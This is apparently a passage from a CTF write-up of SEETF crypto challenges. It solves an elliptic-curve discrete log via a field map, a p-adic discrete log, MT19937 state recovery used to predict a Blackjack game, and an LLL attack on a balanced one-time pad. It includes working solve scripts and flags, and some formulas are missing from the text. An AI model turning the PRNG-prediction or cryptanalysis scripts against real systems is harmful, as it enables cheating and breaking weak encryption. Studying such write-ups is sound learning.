Using Brahmagupta's identity verifies the addition remains on the elliptic curve .
Mapping to a group with an easily computable order helps solve the DLP.
Define :
Verify is a group homomorphism:
The group order is , but testing shows the generator belongs to . With being smooth, solve the DLP.
a, p = 376014, (1 << 521) - 1
F.<i> = GF(p ^ 2, modulus=x ^ 2 + a)
gx = 0x1bcfc82fca1e29598bd932fc4b8c573265e055795ba7d68ca3985a78bb57237b9ca042ab545a66b352655a10b4f60785ba308b060d9b7df2a651ca94eeb63b86fdb
gy = 0xca00d73e3d1570e6c63b506520c4fcc0151130a7f655b0d15ae3227423f304e1f7ffa73198f306d67a24c142b23f72adac5f166da5df68b669bbfda9fb4ef15f8e
ax, ay = (
2138196312148079184382240325330500803425686967483863166176111074666553873369606997586883533252879522314508512610120185663459330505669976143538280185135503158,
1350098408534349199229781714086607605984656432458083815306756044307591092126215092360795039519565477039721903019874871683998662788499599535946383133093677646,
)
bx, by = (
4568773897927114993549462717422746966489956811871132275386853917467440322628373530720948282919382453518184702625364310911519327021756484938266990998628406420,
3649097172525610846241260554130988388479998230434661435854337888813320693155483292808012277418005770847521067027991154263171652473498536483631820529350606213,
)
ct = b"q\xfa\xf2\xe5\xe3\xba.H\xa5\x07az\xc0;\xc4%\xdf\xfe\xa0MI>o8\x96M\xb0\xfe]\xb2\xfdi\x8e\x9e\xea\x9f\xca\x98\xf9\x95\xe6&\x1fB\xd5\x0b\xf2\xeb\xac\x18\x82\xdcu\xd5\xd5\x8e<\xb3\xe4\x85e\xddX\xca0;\xe2G\xef7\\uM\x8d0A\xde+\x9fu"
def phi(x,y):
return x+y*i
a = phi(ax, ay).log(phi(gx, gy))
from ecc import Point, curve, decrypt
B = Point(curve, int(bx), int(by))
shared = B * int(a)
print(decrypt(shared, ct))
# SEE{W4it_whaT_do_y0u_meaN_Ecc_d0esnt_Us3_e1Lipses}
Related challenges:
- CryptoHack - Ellipse Curve Cryptography
- m0leCon CTF 2020 Teaser — King Exchange
- K3RN3LCTF - Tick Tock
- DownUnderCTF 2021 - yadlp (harder)
DLP
This challenge involves , where are around 256 bits and . The goal is to find in , solving the DLP.
The order of is , requiring special attention.
This reminded me of m0leCon CTF 2021 Teaser — Giant log, which used p-adic discrete log to compute , as the difficult part is .
This method extends this binomial theorem.
from hashlib import sha256
from params import g, gm, n
# for some unknown reason, not converting python int to sage ZZ will make it really slow (4s vs 31s)
# probably it is because python's bigint isn't as good as sage?
g = ZZ(g)
gm = ZZ(gm)
primes, power = n
n = product(p**w for p, w in zip(primes, power))
rem = []
mod = []
for p, e in zip(primes, power):
R = Zp(p, prec=e)
x = (R(gm).log() / R(g).log()).lift()
assert power_mod(g, x, p**e) == gm % (p**e)
rem.append(x)
mod.append(p ** (e - 1))
m = int(crt(rem, mod))
assert power_mod(g, m, n) == gm
print("SEE{%s}" % sha256(m.to_bytes((m.bit_length() + 7) // 8, "little")).hexdigest())
# SEE{ca66f51d61e23518c23994777ab1ad2f1c7c4be09ed3d56b91108cf0666d49d1}
Alternatively, see this Math SE question. The method involves finding a homomorphism , turning the DLP into a modular inverse problem.
# This function is from Discord, by @wiwam845
def theta(x, p, power):
n = p**power
pp = p ** (power - 1)
ppp = p ** (2 * power - 1)
return int(pow(x, 2 * pp, ppp) - 1) // n
g = pow(2, (p - 1), p**e)
x = randint(1, p**e)
y = pow(g, x, p**e)
tg = theta(g, p, e)
ty = theta(y, p, e)
assert ty * pow(tg, -1, p ** (e - 1)) % (p ** (e - 1)) == x % (p ** (e - 1))
*Probability
I only solved the Crypto part during the competition; the Algorithm part remained unsolved QQ
The challenge involves a Blackjack-like game, winning 800 out of 1337 times for the flag. Each round draws random.random()
output, and exceeding 1.0
results in a bust. The dealer cheats, drawing until exceeding the player's score, making it disadvantageous.
The Crypto part involves predicting random.random()
output. Examining CPython's implementation reveals:
def random():
a = getrandbits(32) >> 5
b = getrandbits(32) >> 6
return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)
With 67108864
being 2**26
, two truncated outputs can be derived from one output. Using JuliaPoo/MT19937-Symbolic-Execution-and-Solver, collecting 1248 16-bit outputs (equivalent to 624 random.random()
) allows perfect future prediction.
The remaining task is finding the optimal strategy using known future outputs, likely involving dynamic programming. Details are in the author's writeup.
I used a primitive DFS brute force without additional memory, limiting the search depth to around 750 wins.
from pwn import *
import sys
import numpy as np
from subprocess import Popen, PIPE
sys.path.append("./MT19937-Symbolic-Execution-and-Solver/source")
from MT19937 import MT19937, MT19937_symbolic
from XorSolver import XorSolver
io = process(["python", "probability.py"])
# io = remote("fun.chall.seetf.sg", 30001)
def toab(f):
v = int(f * 9007199254740992.0)
b = v % 67108864
a = v // 67108864
return a, b
# context.log_level = 'debug'
nbits = 16
data = []
while len(data) < 2 * 624:
print(len(data))
# recv float
io.recvuntil(b"[")
f = float(io.recvuntil(b"]")[:-1])
a, b = toab(f)
data.append(a >> 11)
data.append(b >> 10)
io.recvline()
if io.recvn(2) == b"Do":
# Do you want to hit or stand?
if f < 0.57:
io.sendline(b"h")
continue
else:
io.sendline(b"s")
while True:
l = io.recvlineS().strip()
if "draws" not in l:
break
f = float(l.split("[")[1].split("]")[0])
a, b = toab(f)
data.append(a >> 11)
data.append(b >> 10)
else:
# You have gone bust. Dealer wins!
pass
def randfloat(rng):
a = rng() >> 5
b = rng() >> 6
return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)
def clone(rng):
return MT19937(state=rng.state[:], ind=rng.ind)
def get_future_n(rng, n):
c = clone(rng)
return [randfloat(c) for _ in range(n)]
rng = MT19937(state_from_data=(data, nbits))
for _ in range(len(data) // 2):
randfloat(rng)
r = io.recvuntil(b"Round", timeout=1)
for _ in range(r.count(b"[")):
randfloat(rng)
if r:
io.recvline()
def find_best(cur, future):
def sim(cur, future, choices):
if cur + future[0] < 1.0:
yield from sim(cur + future[0], future[1:], choices + ["h"])
dealer = 0
i = 0
while dealer <= cur:
dealer += future[i]
i += 1
yield (choices + ["s"], dealer >= 1.0, future[i:])
def calc_dealer(cur, future):
dealer = 0
i = 0
while dealer <= cur:
dealer += future[i]
i += 1
return dealer, future[i:]
# def traverse(cur, future, depth=0):
# if depth >= 20:
# return 0, 0, []
# ar = []
# ch = []
# while cur < 1.0:
# dealer, ff = calc_dealer(cur, future)
# win, lose, path = traverse(ff[0], ff[1:], depth + 1)
# if dealer >= 1:
# win += 1
# else:
# lose += 1
# ar.append((win, lose, ch + ["s"] + path))
# cur += future[0]
# future = future[1:]
# ch.append("h")
# mxrate = -1
# mxwin = -1
# mxlose = -1
# mxpath = None
# for win, lose, path in ar:
# rate = win / lose if lose > 0 else 10000
# if rate > mxrate:
# mxrate = rate
# mxwin = win
# mxlose = lose
# mxpath = path
# return mxwin, mxlose, mxpath
def otraverse(cur, future, depth=0):
if depth >= 15:
return 0, 0, []
ar = []
ch = []
while cur < 1.0:
dealer, ff = calc_dealer(cur, future)
win, lose, path = otraverse(ff[0], ff[1:], depth + 1)
if dealer >= 1:
win += 1
else:
lose += 1
rate = win / lose if lose > 0 else 0
if rate >= 1.8:
return win, lose, ch + ["s"] + path
ar.append((win, lose, ch + ["s"] + path))
cur += future[0]
future = future[1:]
ch.append("h")
mxrate = -1
mxwin = -1
mxlose = -1
mxpath = None
for win, lose, path in ar:
rate = win / lose if lose > 0 else 10000
if rate > mxrate:
mxrate = rate
mxwin = win
mxlose = lose
mxpath = path
return mxwin, mxlose, mxpath
def traverse(cur, future, depth=0):
# C++ version of `otraverse`, not really faster...
p = Popen(["./fast_traverse"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdin = str(len(future)) + "\n"
stdin += "".join(map(str,future)) + "\n"
stdin += str(cur)
stdout, stderr = p.communicate(stdin.encode())
# print(stdout.decode())
# print(otraverse(cur,future,depth))
# print(cur)
# exit()
win, lose, path = stdout.decode().strip().split('\n')
return int(win), int(lose), list(path)
# context.log_level = "debug"
while True:
l = io.recvlineS().strip()
print(l)
f = float(l.split("[")[1].split("]")[0])
r = randfloat(rng)
while r != f:
r = randfloat(rng)
cur = float(l.split("p1 = ")[1].split(")")[0])
future = np.array(get_future_n(rng, 4096))
win, lose, path = otraverse(cur, future)
print(win, lose, path)
io.sendline("\n".join(path).encode())
for x in path:
io.recvuntil(b"Do you want to hit or stand? ")
# for x in path:
# io.sendlineafter(b"Do you want to hit or stand? ", x.encode())
io.recvuntil(b"Score: ")
w, l = map(int, io.recvlineS().strip().split('-'))
if l>=1337-800:
print('lose')
exit(1)
print(w, l)
io.recvline()
io.recvline()
io.interactive()
I learned more about MT19937, especially the number of outputs needed to restore the state. Initially, I thought the formula was needed_samples = ceil(19937 / bits_per_sample)
, but testing showed otherwise. For 16~31
bits, at least 2 * 624
samples are needed to fully restore the PRNG, with any missing sample causing errors. This is likely due to MT19937's properties, making the linear system not full rank despite more bits. From here, the actual required samples are 624 * int(31.9 // bits_per_sample + 1)
.
Neutrality
from secrets import randbits
from Crypto.Util.number import bytes_to_long
# get a one-time-pad in which exactly half the bits are set
def get_xorpad(bitlength):
xorpad = randbits(bitlength)
return xorpad if bin(xorpad).count('1') == bitlength // 2 else get_xorpad(bitlength)
def leak_encrypted_flag():
from secret import flag
return bytes_to_long(flag.encode()) ^ get_xorpad(len(flag) * 8)
# I managed to leak the encrypted flag a few times
if __name__ == '__main__':
for _ in range(200):
print(leak_encrypted_flag())
A 320-bit flag is encrypted using a 200-time one-time pad. The special feature is the one-time pad having balanced 1
and 0
counts (160 each).
My approach is to find the flag such that the Hamming distance between any ciphertext and is 160. This problem resembles finding the center of multiple points, but with Hamming distance.
Expressing the flag as , for each :
To simplify, subtracting pairs yields 119 linear equations. With 320 unknowns and 119 equations, it's an underdetermined system, unsolvable by standard methods.
However, the condition suggests using LLL.
Using a large constant , applying LLL should yield a short vector . Testing shows success with around 280 unknowns, but more